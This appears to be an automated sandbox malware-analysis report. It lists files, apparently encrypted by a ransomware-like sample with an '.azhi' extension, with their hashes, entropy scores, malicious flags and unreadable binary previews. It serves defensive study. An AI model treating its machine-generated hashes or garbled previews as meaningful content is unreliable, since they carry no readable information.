SHA-512:	12498A13E7E91E9265032C74AD6D706B72821A2B0B2EB596F3E689E5F2C2FC37D71366303684F04FC35D67ACF4F4BC028C4523ECE0A9ADB8CE5BBA377D30FE2A
Malicious:	false
Preview:	<?xmlS.j..n...5.............q.eYFW.>pJ).....N.@2.....c....~..J..........f........~]. .G....s..N?..{.nt......}.....:.A..30..uR....F,._.4..M..5Ss.....F.Q.C..]..\&.ur.B..K.bb..7o.&..i.8.VH.20....Y.....[/.<&>.N...0z...1....6i.#....{\|.........<..Y....s+x..C&6p.yj+.4.u}... m{m.~Naws.-......A3.../.....A:..O..Q6...o.^......1....%....3U..\..0..P....K.Z.?..{...^.V!..}....G..,G.74P....g.e.^...=.......!...O.x.)?-.<MSy.q..y.c.......k.N..N..m}....C]..n?.}...(._.'...y..zx/..#=....TXv.@>...'.~......?...b...ia.<.W...I.0j.D.<...(.PD....r.f.....j1.{..~..1iF.D..?.........`po..N.;p..E....1.-......hM..z."c5.......>^~.qlhW[.L..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.717160094074939
Encrypted:	false
SSDEEP:	12:Sk2FnuNXWo0FoDg7xFiQYjVL/Gc0K2RHnsOF5JnCjwi8uOWCYcii9a:H2luNGo9+vYjVL/GciHnbCjw1WnbD
MD5:	BF2BBFD19DE55ABD1B1FFCC0E720B18E
SHA1:	CE1F470C9236E2D8EA0E994B8E5FE8C6524A370A
SHA-256:	8C9015AD9533664C48E06B05A81E9061BA6F0949018C8BA4A5EB2CBB78BFB4DE
SHA-512:	71D4730EA5A813316651D6CC872942016651E5CC9311DF0A2AB211BA18CEE44CD094C1BAA17B1986DE10F9B215299D2BC0D46A9BBBC97455A0422327FB5821C8
Malicious:	false
Preview:	<?xmlCGm...XEO..$..Z... G.9.'670...>..L.]..d;0.,...u.H....J..'%..M.O.....^..}.0L.<......M.i(.kF.>.u#.4..B:...t... x...B5!q....Rm..Mo@....y..kl..+.....].%9.W..[..J.eR..L..Z.F.'......s.....;...l..Nc.}.'..0.<"j...g_..3.........b........o.....w.9..!........,.C......._..N......J.....&.z...}....:.;.<%G..g..L......y.4.._W.v..?.G#..h...3(.Q0.g....X.m>N2.[.=...5.;C.F./.Z.1.....-........_$..x8!.g..e..GT5f.KF.....f.o.6.;........W.._.......P".{.)..1....L.0.f3>......@..8.XRG..u...;o.]f`.ia....,..0.9....qT.r...z..H.E..oVZQj$...&.....]x.....n........!..S.F...b.(H.52n..g....Y}a4E........7..o...N.n........h.........C.L...5..A-.p.t%....wrF....T.%...Z.AF...l.r......m....^M.WL0...... ....=n..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.69579873486048
Encrypted:	false
SSDEEP:	12:kbkEa9DtR+OlQueb2rn9KSaAtzLxTYr3yo1fI5FV4bc4uGr7lCaK1K3dAzvYciik:MRa9hRDl9rRHTNofUV0X/7l7OzAbD
MD5:	CB463D7A3525AA6BF44179B03BF31E81
SHA1:	37C375CC9DA279DA696F1EB32C6D56579A58B2DD
SHA-256:	1556FC01295531F9891CD1E62861D44EB409198D09FFA364F815C75E35D31A65
SHA-512:	E59826FD46FEA0DA969BAEAC4B42955573A537DCDECAFF6BF328EACDB5055856D5267E8191CEE512A9A47073FE5FAE0C48B7F0862848D751342EAEA2649D7919
Malicious:	false
Preview:	<?xml.'...Dz..)H..4.d..W..2.A....!.1.......HLm%.Cc.r.w..........w...O.fC&?`.'_..D..T.~.#..+_..y/t%......9.An"...nqP...L.x.W..?L..~].....}..%.....K..]0!...Z..`d}d.#.?....dB..t.[P.^$.!.....@ .K...XICa..>q.....4e.n.E..M.Y..Z...0b.d.n(.I..RT.`.j{+DI%.....%2..(L...Kf....... [rt......<....9...".L..1...U......#Q....g,CC.q..9.A..@!P......>....P.g.:.W.+.WLq.R..19[..tI.N....b...}.k..z.. z.E.%q.D..`......Y.'.%..;X.!..W......=GI......a.\|d9Vw.R..@.dC"j...$....YS...rXj........u.......rEO..`K...,.n.\....N6.../...$.V..0......o.Fnle%.0...S..O..=@..N.@,P9.93..i....S.!....-.U.[~y.r<*,..d`..F..l.y..PM.g.Wx....{...z...L\|.:9..v.8..Z.,z\|n5..bq~kd.....{.....I...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.858520216340247
Encrypted:	false
SSDEEP:	24:Ysgb77dfXQJL0kL0p1WkUFCYdMmiR4IsgjQYg5VFJpe+V1OjcbD:YsgdA6kLg1Wksc4IRjOJTV1bD
MD5:	C8F9ADA31CD329F0715A0CE3E11D811D
SHA1:	131005D04C96D990E75554EA92CBC600E9EA2A11
SHA-256:	D6D2B74E749C3F1B3D9E41678FA499E6653A4DB749163C56D9BDF6772DC09782
SHA-512:	684F2607A57B8509C41809B8AB6673F1AEA53B7AA8D7A38FB730C3CE7D6298013B7F8B55FE46E2E9FC0AD07BD3906CCDA16C41FCD5A122C10F09C21BCE2F8896
Malicious:	false
Preview:	{"Rec.^..4..b.U..9..(.....yX....6..~._z.!l'......D.....U.{...3..^b.`..Hx]p.4......7.......c...._^c......6.....+.C-...8....wC.W..N.....H..X...N-.,./.......zC.Y.w...A.....f...............QQ.~.f?0...J.M...c.M..Y....?.V...v.8!..crd.V.....KlL..x..C....K...uc.Z....\.e.....O/...C1..Rk.L.k...dm....EhhFx...\^...&.r.;.......j.....K...L.y.n.../.....t.x...H4..h...FB.}..=~#Vm.G..).....8...t.. ."<.C#`.....>........Z......#K(...xW..a.d....H,..h.!.....[..]...>`8..Y......6.7..R....".!+.....F........I...Eu...Js......U.f~F.I.....Bz ..{.....x.z.<.Y.S..[.._ ...3......b.1._..9S.....5..$;.Z...l.%\|=..fL:.Uz...O..Z..)..>...qH ..W.....hBT..E.......J.,.=.d.\|.:$.{.S..vz..p...<.b.3j.K.,>.G.......u.`....(TH"Q.i..'W[w...o._.Ye..f.=..eh.A...LQ[=y....F(..q..[Vr9L......P....x;._...<XVu..{.A=8#....\l.D....;.f../...Zi%.G4...D..H. Y.R....ukL..+n....S.h..st/L.a..S4-E.C...Kj.&Ti..o..vH..]....;....4.gb..........:R.)..n.....[.m3(F:..f."?3.$<*.O.u....y"....w.%.a#....^q..F.P.O.}.-.F>.

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992587858251179
Encrypted:	true
SSDEEP:	384:xiCTKNwbfUKeYJ2vX6prEPKhax2o7bXpwoVEETW8RftrBzb/qvMJsqKJ2GzPF/dA:q2bJeYICaChaxN7bXpwQEz4rZTiYsqKi
MD5:	81D85B8115A38A0D6BB5EFDFA094B2A0
SHA1:	BD0517E4413E0E57157E50CED33EC41540086410
SHA-256:	CFFCB36282CFB9020B49E84620541CC0B6E2535D5B1D43C9C934BAE22C1C7930
SHA-512:	7159439EFB614141479A42877127A7349BA6F75F296347E604064F2C6CEE5EF412201B7CFD1FA4D779243F186F5F1455C44B2073F8FBB1D98F225321A7E4526E
Malicious:	true
Preview:	03-10.j$./.m.y#....<..I\|..>.c.j.....H..0.....laj..H..a....(.f]....3.^..P.T.N>....x.7(. X...3.e..4.t...4.=!..k_....Y...~z..<G.I.%m.........y......."%..%.k.8.?U.rt..&.J(#....D.}..}Q......:..S.0.9.<o..y........z.w...>.@..0.d......%.-......h....vQPi.8.#...(?c.LB...yE3v]...../.l....DL..3~!=....7n.hH...W(,-N.[V...E....5.....,I&..i......x[.G...i...D<y......7w.._~..1...s.>.\}.......#....d).j.v...q...l.....u.....O..:.r.b9.rE ..7...... .hp...S........yk.X3O ...l.w..G.`.r.d...(JBFS.......T.1WA .qhEP.......v8..Z..p..v...?....;..==....../f+.....^... .]..:../.5..}n.^L....]..h..f}....-.5&W...^b.[.\.x>.#.7.^h...a:o, +.+.P.`....0Y.Jm.5...a.[.^R........i.....h./.....6..0.}W.......}w......"O.m.F......HtcW~e..#5).?.}f...).?.w~..y..J<(s.i[...UY..9g...a[V.]...1.[...M%.;G.l.t'....3.0.p..y....;....".i.=...Y.4.^.X..y.0>u...y..6....ug..d8L.....&.4}.......v...K ..P;....#Si......!.[c..20m.&-u^.IyP.&N&.M`.D..RKV^.3......s..4.*..$`.HxY......Zr!..h.Y.1F...

C:\Users\user\Local Settings\Temp\msedge_installer.log.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.991955590751534
Encrypted:	true
SSDEEP:	384:6JvhQdUJt6pCiYdRkQHVFfndOQ9HnAkcCPMSoXM1MITD/0d71AC0/NBD:a7ygtHVF/dOEHnA0Noc1xDcdY9
MD5:	96DA82CA1829DBF3C804E361358BA579
SHA1:	25BC2AA3048DE8766E409645F3FDC77B4B39E588
SHA-256:	2B83ADD7AA6553D04E497C431534D3F943AF9C66F4E88003EA765E8E9563F2D6
SHA-512:	D8F30F955319F470CCC1729EB111CAB03CEA90A343ECA0E4AEACB8214ACBFE818EB03B17A61E4C4745FEE05F9F3BA9EC2C090412FF28A31DAF5DA107EBD564DB
Malicious:	true
Preview:	[4004#..N.....8jt.mz...N..O.9u..._..m7..G.........1J.tUyt...........A...;e.A=..`....;j.5..3..z...H....N.=...._..2R.o4..A.../I.}.aP.i.<.s.5f.C...5.9L.82.s.~8:P'?..].....q1...j.ZA4.T..z.l_..z...$....V.t....W...\.G(:8........1........rq..A.Jd.R...].P.~J~N....+..Y.9........!....(.C.1.ou~....Eu...`.G]...a.....C..z..BH.`"....."D........\|..\|\|..m..a...~S.z>...F....<.H..,<...AJ...&i;..[.....7.m.R.?d...2..g.\..\|.j./y.h....\|s..T{ .........V..+..m.J..lZa.6.vG.....O.q.......Q.i..y...Xoo.y..........0.oaw2..+....D..D'.Q-....b...).]...4<WF......=...t.3"L...n.v.I.B5$..v8 . W:...=.....1......G5v.... e.....&.=VS.x..N.0w...1lT..`."\|@..7$.o.z...,(..<.U...VI.x9i.s.(VU.Bo.v.O=Vm.vD..X,?..J..,.._....-..A..e...N2.mb.].$e..........7.:-.+m.3C..].*.%.lq....j(....v!^d.j....p..'N...j..?.y..`.._...L..n..'.O.....E..T..A..).M...~..H..7.mI........MI_!.`..O`\|q..;.M\|a.."u.PEl.."........6...^..7..=@\.$#...I..Da.r...m.J.....z[.mQk.j^.J...u...@.....B..n.[$Q<.&.T.e.68

C:\Users\user\Local Settings\Temp\offline.session64.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.996879961654678
Encrypted:	true
SSDEEP:	1536:ClrCwtBnHlEVbFzC428CrxMDni9oKo1lA4TMOwyI8:WrCmfEVb5DnWoK+A0H
MD5:	2B8C3F288A931AE7E6BAB3AA2CA2D254
SHA1:	DA9D6180CE990497FBCCDB0319A8CC26BD2CEA9E
SHA-256:	1764911E86F4BA7EC5748EF3C677B97B0FE8D2E4F2D0FBCAAACCA59F2E7C8285
SHA-512:	6FAF2A7BE09F327446EA49FFB761C5915217B5390D7D60EC71059F8F2EA528E98B2BCD7C39ADB431EB988BE059BD192A6D9F35DE07556D5B66070E4EC6E6FB5F
Malicious:	true
Preview:	1G.f..@.{.x..5.....&\|K..+..0.......^..../.,Y..u.....HH..@....].. z..,..u....h"....#..3...A(4z.b).&....F.Y.6X....[xKH;R.....{.V(.dp.f@C.K. z.....{....q.8?..#....w.."..mO...._.jB.c...RY..pk...2.._:.`t}...,..H.....F.P..!.9........F..H.FA!.S....V...?.c.T..U..2....Z.u...<..].;...yh..t%~.o...a....]...X.1....(....n..{O2l.j$i...o...S4...l$.Mt..:o.9..{.R{.......G..g.B...0..cK{...WQ......E/......X.1ll..~..O5...LZ..fq.i....c.7......4..A7.UV..\|"y.7....25..R.@.....,w.[..&....H.....T..":..G.....#&b{.y....dp.]2'm.s..,....wln....J......L........v@<./..s..g.......&...).]...f...O....b..,4..%Fh..f..G2..x&f.l.p.FR....)...A...6.r.>..hi.G[w@pnr'...O..e.pc(0.y.I/\)%..4.rg........y........=.[...sF......p..@.0...2.Qsu..7.t).`...$..~.......U.i.]....G.a...0..<.]...#.i[.q..$1.m....h..:2...[.......S...K....)...c.....l].....".. ....%1.z.T......H...S.....4..&.........$.9...Gbrq.y#z.....E.._.#.....e......P.....l...,...U.s.^..W.rJ...."..Pk.i..w.W.I.....q

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.7952331902475445
Encrypted:	false
SSDEEP:	24:yzs0p4XIUEigUFvt+FoqrW6X+dIT6hFXhL4JjVSDObbD:ytp4kUFV6lu8D
MD5:	6862F0A32FA500B5924EBEEB97E3A51A
SHA1:	2B1608F1ABFE4B510FBAFF105591F5D6D5761D80
SHA-256:	ED751F7195A8658868E848CC50C34C0230CCAF95FFAB527B085BFA0BA2397B1F
SHA-512:	A33906408939E272FC72B0218C2CDD7CD076F7211D5B0CF448D7C6F68DBE5687E693B7BBA6C4993E6D706B05F4A10DBDF5905274E92C1026B3790B4CDE424A19
Malicious:	false
Preview:	RNWPR..e..I....M...0{.\|..J....r..d...b....K..`?_..n..X.&..>.Y }ASH[.W.......{............49Vz.A.._.....K,...Gs."....fj&..%..'P.Y.x\|.....d._s...F8.;....P.(..4..KG.....Q.u.rf........si.8;.(K.@i.r..@.L.V..G..d%{..].X..U..](O..K.Y.3...`j!.......#=Vm..uu^...,.._..Jx3-...^..G..s.@...kb..^..mN..kA..0]..Od5.%.......K(.....j...sG.7..Y.=.d8.f...D.D...X3X..C.^]..C...P..fzM.....IC...cW2..6b.q...\....s.6..)..vbj....Z...5o}.F.....+Y"#XXV........Mj.2.i...X.O0...m..B.x7J.A..... 5..m'....G....f..Y-.i..;.;\...g..8...c.keQ.w..Zh..QF.../.U>i.\|....+d\|9.q5.{e".p6....<v?.s...V.......ddP1.z........$.i..%D.....I.....j..G..........0.....O.-S.vF...."........{.../5T]K...8.8.j.w.O].;..w..%.i.&..oj..i..y.. ..U/`...m....G?.F.Y.!D.7U.P.f.?.%.f...p?~\Qg...F...X..Q...^B...2<~1.g.2.....y......`Z}p(?.cp{.J&.)......y5..!.k..x.ha.o&A60...0.....`.WFG\|...+N..n.\|..&C..._...=...`.f<...\..rU.R.^.W....z....;N.9l.........3*lZ..?DB[.i Jg....b.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4v

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	662049
Entropy (8bit):	6.821603649130915
Encrypted:	false
SSDEEP:	12288:BRT9Clo2PzpwBw79fjHQiee/t4P+qVKTpF:BV9bWLQiemtvVF
MD5:	B7287F87E2BC52E0F3E417B4F35B4FB3
SHA1:	673A2E4656A1E7ACC01C97691019789E389DD28C
SHA-256:	7132B55E559C6A8401AAA14FF3BFFFB157539FBBBB5B6CC637D862F7494A033D
SHA-512:	E9BB5DFCACE02EF566265926C2F6C6488EF74D5A7C58DA45ACCBE38D6D03A0200E4336D8889B7A4348B4FD056C3DD8489F9F53A22CBF0A95BCC96F8497257CE0
Malicious:	false
Preview:	RNWPR\y.50y.B%Z..x .0.WF.?...e5.jd.YEj.....+...,..\|...X.....i u.....=...A]W..j.M...\|R.."D.....qUU5D.........u?...;..ry.....}........../P..........Ld..Lhp..'.aO.q.^.....@)........&..2.y.H......D[...>..U..........=.V.k.R......Z>8:O.bC......}.j"b.U....o.7Y.#.3..B.'\|W[.v3..)..Zo{>W.K.E/wy.@/.!.XG.-..k.D;....].\|\|.[1.c..P^.-../W.\|mq..Gy.D...w...g..R .....yG.i.....$x...UA).^.T.!6.G8.. .q.....o..../.;..q.6..G.-23..8..5.iXN.....oK.?.u...........J...y...1 5SaD}.`....H9${.c....;Y...xrp...M.K..G..A..O:=m...<..}.P$^...~....FM<...t..~.V4ad\#..VjKD`..i.6.l.7.>...&........0..9...,.q.../..o.Bf.o...$..m..m.....>h..Z@.>w.e.F.U....?mJ..X....b..`...c..{Lv.-[...g.H.../.0cG(!Yn..._.Vx.......=}?i..u..N.&.b......9mf.d..%.".......R.J..A&}h......@(......1....j.....z..0...pc.../......YY,..5.yB.~..CEhk......+..rM....R1...^.....26..B.].wD..\.x/.9#...L@...`.w...L..G&XY;%{.N..[HofG.;\|j..I.1.."S.m.E..T5....N..S.P).g..... ._..2T..... ..!W....&WR&`...}......P.-.oi

C:\Users\user\Local Settings\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	193297
Entropy (8bit):	7.869100963171013
Encrypted:	false
SSDEEP:	3072:L+VFYSupJME7Q9udsZNtaZ8vyYQCcnsyty/JQBmg1tF6kyS6v7G1rElDbJ43w87:YFL0X09uexK8Nc1y/JYmg1t0kyjwW87
MD5:	1B387EF19F407068D23CD8F157590877
SHA1:	6FB5D5E52E4380824F67E3D5CF3CFEF6FEE5CD9C
SHA-256:	C995B2A9DA09B8C8DF190BEBC2144BE5D4C1D08B1B1A4473D82E85C5385E98C7
SHA-512:	F90A76F577B7A5E6E4208034A7709A5EBBBC7BE7DD2B6B5088602880A9C89FDCB20979630E6B4E14C3ADC789BEF072ACE1BDC1C06A1AFA52A3272312A227AE21
Malicious:	false
Preview:	RNWPR...N.f..g..}..},.....5.&.f.Du...[X{T.f?..T....9.z.j....c..dx. . ..i.....1G...V..d.t.....P8.!.D.2..dM..g.'..-...X..d.V..j.4(.....wZ.eQV....3\..".M.kA.w.....=.z....!.Y."TAHK....;..e`..x;.a0....s.,g.2?.IC....o...g...?..yv..l.k..~..HU.3Z;..>.."...8.bQC^..X.....4..$mB .Ta...E.C......'Sek.x....f^..].....<_. ,.=....O.h.7..1.)-...C/....]+>..V.mb...js......9m. .JJzm..wAZ.$V..@../.....V../.=......L}...^..%.....5...\|..4......n....7.W....].SxY...Y...\...lL.....c7'.VF0=......oA..v.._...$.......>.._.,]....m.......`.b7...-.C.y...../......5..x..<O..L.$.....b...<.T.]..Ok....I...\q....\|.....S...u....O.Rk.......J...<$.A6............W..=..pG%!.L.r...P(.....9W..RS9....#E.3h.[.V..;a....zsn3.w.X.0...F.>.O.xvC...E........}......d..d.c;?*.."....<(.......-..i..B..fh~..?.G..H{...0e8...ps.o.D.u=!p:..i.....Ge@}..9J...i.h....5.D[...+..j44.u....P..M..o......R6.p....4A0...\.....q..?u...=....i...A..u.f.U.H.{7.b..n...!8.b....).L{.u......"_".`...~.J....E->..Cz..4.6..P..

C:\Users\user\Local Settings\Temp\prep_ui_win32_bundle_V8_perf.cache.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	240241
Entropy (8bit):	7.54789305781953
Encrypted:	false
SSDEEP:	3072:nAqp+hpuqIiLjtHYikNzPOigTfWPWPOs7P11bPAc1rX6ZgOhOcmylvkWYI2szCDB:jpFqUNKigHDffYOhq8WYxsmhH
MD5:	C01DBC8B4ED8254253B78F492C1438A2
SHA1:	43401BE95AEFE01ED99029D952E6E7386E733856
SHA-256:	7DB29F5F8470D7C9452FCD4A0751FD973B9840E0BD6D4BBBBF1A22DB03329284
SHA-512:	9A7B1267782321339943C7832221F576B9618F394B0B37BA8E3E97ED43B3B51800986C39C9FEF89E18E23986D06E447149CE1F7E062762B40C260D0F3D12D635
Malicious:	false
Preview:	RNWPRm..}....\zOJRN=!.../'.t.Y..p_].q...R.a=B...B...S..!~...WvC...+.....\..j..K.uR....#..>.h.0K8..l...R....]..S0..D..tp9.N......[.M.....u.../..z.....J......C...e.."..k .J.,.J^#..P.n..L...2... .......[N...A...A:...3.Z..(.i.`.!.y.FrN9\....B(}......%z..!...N-3yP..\p....S.a...p..H.!.c......W..F.G}.:..s.-...Y...#...$.T(..Q.......#Mb.....Su...j,...........>}....A.A...R.m.D.V..$................"A. .RoD....R/..D..+.xt.0.vV...Q.%m9....G.X....X.c..8..4u...Zv...<._}....78'..).<.....<..^~.\|y..C.H.C~......+.u<..1oh...8......:c..1..!>....[d?.T.....G.ymr...\|....."fb...E..(}q.H./..%Pu..IG[..0..DU..pnp$.[.....j1!....~.$;....mB/...."............ P'$.5#.j.s.1..x}..C.._..<>......r7........y.uA.,.d<.k.}>...Z....?.&4.@x.b....WM..1...N...`......_..aG._9R..Int..L...h.&E..\./sj...B..G.?.."....R...:......}.Eu.r..T.S2..E.27N..G..RC>..JgE..`.y.3l.Y..(E._l.............*.+.#.f.6....+..K.\..K{."...=.\|. ..Y...s.{x4.PBIGc..R.,.=..1...f...y....s.ANa.!8;.....

C:\Users\user\Local Settings\Temp\tmp3BB7.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	836942
Entropy (8bit):	7.404666898115504
Encrypted:	false
SSDEEP:	12288:i0lCvalIev9x+4N5sQR+sUoZvckY5t9UevKRwGqp3+Yzr+9mpb6NPE/GBuYtz:7Fd+fXsUMy9vvKRWp3RvOPDBFtz
MD5:	3F65B221D6109266E3E5A0EAA9F73383
SHA1:	F20825E3B7084B791A0157650123FE1F7045F995
SHA-256:	4E15CF7669FF7A3C9B37FE8D70B191C1DD101F784F0EACA6BD526CE782BA8232
SHA-512:	A1AA037A478027F164457BDBEE588D62411E1646D7E4BF95955E1D40899A76B90ADCD731399EFB21EB943C1D98E7CBDD2E1C674BB30834035CC49BBC75F9C9C1
Malicious:	true
Preview:	MZ...r.}X..J.Qh\|E..],S....x.{p.H.$w:.}v<...u.P../~..CA..K.F...s...@n..Q....J.S_%....)......q.......D..........+u......<...Dw&.x-.%..b...>pb2...u..?P.KW..K.C^......2.Ih..J........NH.....g...j.C.w..tD...X.8iS.8R.....P.x.. L.........@]o.Eu.L.7.a....X...4]..B..{[...CR....`..g..2\|.1.....{..39W.H..+C..2..,{.=.s.:\|z+..)v..Hs/.,W..........6Z..x.`..i..).......I.)...jG[....N....!.E.DwH%..}L....V7&"..9.Mm....._..l..f....s51pocv.6......b.?..t.Ias..=..!_..........."j.C....0...$s85...Q...W...7W.~X.H.s...d}..S....,...7`=.......'..k..v..d.O"..."....+....\|.5...>3.GM#L....7..(..#...T.Xz.>.r...C.%\.Z..1@3.r..m=.=.W....0{..K.s.m...x.G.....zKD......8.^-....l......1..@.....R.pS[...Y0M.........Ts.....]....a.O..z.Y.>..S.JMt...Rf......O{..v.V.\|.}..S...G..h......W<]...L..."V........R.f....'@-l..h)._....i..4..3A\|..L...1.}.,.q?....TqU}..c......?E.~l..M..K.N.\|.$.a5..p._.....EE@..NR.[.#..;....;y...n.0..sj.ky.bSf...yyN.56.Kc..^.oh.....X.n..v.....E......1.x\

C:\Users\user\Local Settings\Temp\wct150C.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997695964710572
Encrypted:	true
SSDEEP:	1536:16H26U6f2RaKFOS0wR4n5VUjpGbRkNOfRB9yrWe6+T9RD7NdwmHs:IW6r0aKh0eo5VUjpGN0SRo6+f7Ndw8s
MD5:	B137C0E34846E2487ED39ED4562599DC
SHA1:	03E1B22AA5D52DDE48DE8D2F46C0C8CD6F453C48
SHA-256:	5A3E271EBC9D857F605FADF18165BE32F8FB71419DFD2E57A3E51AFBBE4CE30B
SHA-512:	9D2B96038F159AB7BF9E65A4154556DECFCAA66E918151B6547D70045FC92D14217DF1AC66DAADA58610C44066664C54361584C7E46F5643C70D403B770B0167
Malicious:	true
Preview:	{"ramn....KF0.\$.(y,$.@..N....G;;Q.u...b..4o(!...\.d.X..p.b.....=.N:.P..#^......P(..!1Q..'..h,8.`...gk3.LWsYH..2m...........N...jx]`.....!.V0WW.&..$.Wa..O...YZ[f..0......<..~.;]..S..w.C.....k).yv..oN\| .f.O.0.=U.".!\|.A.h.0....$.......W......!.nU%BA\~.9V...j\|;......W.....2.cKl..( ...).k..Ia.....-@,.c..%.)v\|.q...;....#.B...`..Pi.M".M$.......?d.m....P..R.....n.<.....v.V.H.u.R.x'...#...37...m..VW...p.....{..Xv.VL.....C=..qH.t.!.....!...SlfF.sF..t....J.x....K..`\|.....{<..4&Q3.....F.N.0.!.us.v.0.~z.1..5.>..{....x.31....4....:...~cU...~~..$......{.].D..6...H....B.+#7..U"..k.5....oT...aZ..)......,.D/.S2.....5.]:..]4..D/...w.,&.....H.....B...4....0..Mn......up.VW...%."..f....C4m..C..<.&...-...+..'.QXq7?..>}-..x.....>...=6~".j..[:}....3.-....@.=.B.M.m..:L!.0..0..I..=.f.X.......by.d.._.iY......>.e.R....7..(l!....V.pE^.*+.:AS}..<Y..h....%?..^..}........3.....).j.....:..G....h.._>....K^...l...ak.I/.-....f6,".P..x)..Q..;<.Y...<.... ..+b.{v..&

C:\Users\user\Local Settings\Temp\wct33D7.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.99694559303259
Encrypted:	true
SSDEEP:	1536:sVNnuNZH8yf9QXiepJiGD+4Fvdn09tCjQy9A:YNuNZ3fS1iu0tyA
MD5:	6EF2A147AB942C29AE078369253381C0
SHA1:	A37080CC1FE2B3FA972960A0A4580D527C7031B9
SHA-256:	18CF75179944B07AA6C67C2104091BF400AF619F50C7BFF9FF7A31953423F0A2
SHA-512:	A93E7404A02D7D83E99468341C8BDBACBE8862C09530E4421BB7B1FCB309A7027E10C310620B2ABC2EF20044BAF02A415918CDB7BEB74DCF727D9936BD64CD13
Malicious:	true
Preview:	{"ram..d.....F.5.4y.'L.;...)~1......M&x..IK...{.?&.>..+M[.#..Ar....$\|...R.b.&..4..R.3..l.F..........U.......-..h.a...U...?;..K..P@pk.N(;....O.Q.Gi..r6f.K9.C....u..}....V(..1g6_.hZ...u.nZ].V.Q..6...U.&.....}u4.M..#..+..%.3.E..'5.....S.G..}+..v.)..Xu....t.....t.x.[h,...K.iu.z..%W^..S~.-...-..\....m....nW.?...u.....X.I..0k...4....a.).m.Pdk._.\|..ml..@......}.#....Z..Pe..c.T....^..w....Hpq..<...m.E.....iw..0..i.mvf..~{....=.d.....'rI..t..]....o[<.8e6.k2..h....J]c7.S/...\..'......<..h..+.6Zi}R..F^n..Ty%..!z.......R.5.I.....#.%...v.6..C...{{E.[..Ql......e...t.5...a.m..K^.F..T....._...C.D..,...l.I.U.\%OJ...$....~.=w.x..@c_.K..g.i..P.( `.s _v.t..2..$...Z..{E.,B.2..6U..Rc.....\|.W.J[bv.g.k1l.[..`B.Jd1.y.h...NX..:H...."..B..p.8.++...9(..A..).}.*.%:h......@7]dw...o...].z.d.}......te)...iY.V....K.%..PJ6w. -9x..1..YE.FCx:.PO...O...u.#u.C..)..d.".7.G!.=....(o.i..>{t^...1f....s.>....i....wq.m.Yc.L38S.y.X.w.d.v.N.+.yK1..{.C4..?s.9...(..J.-.!.O)....6.d6

C:\Users\user\Local Settings\Temp\wct38F0.tmp.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997035159804517
Encrypted:	true
SSDEEP:	1536:VscEmg/amlcTBiBF7JxucJLUI9uTWx4/SXCOEENspO:CcEmg/dcTBiHJxueUCx41E4O
MD5:	0AFFA538C90B080B2FA22D4F4100FBA0
SHA1:	EDF7484EAE199D07E6E302A1A69B079250677344
SHA-256:	799C992399D7751763B64518B6EE7D8C6C6F24835DD400B629D77B2D19CE9E39
SHA-512:	77927B0D7430FE44E2E2FC4ECD608A66814322DDD00E008A2219E7CD8031BEE8CB9E49C12637C7381E0817780CF176DA2AA0E5929BED57CD840396C95FDCADCE
Malicious:	true
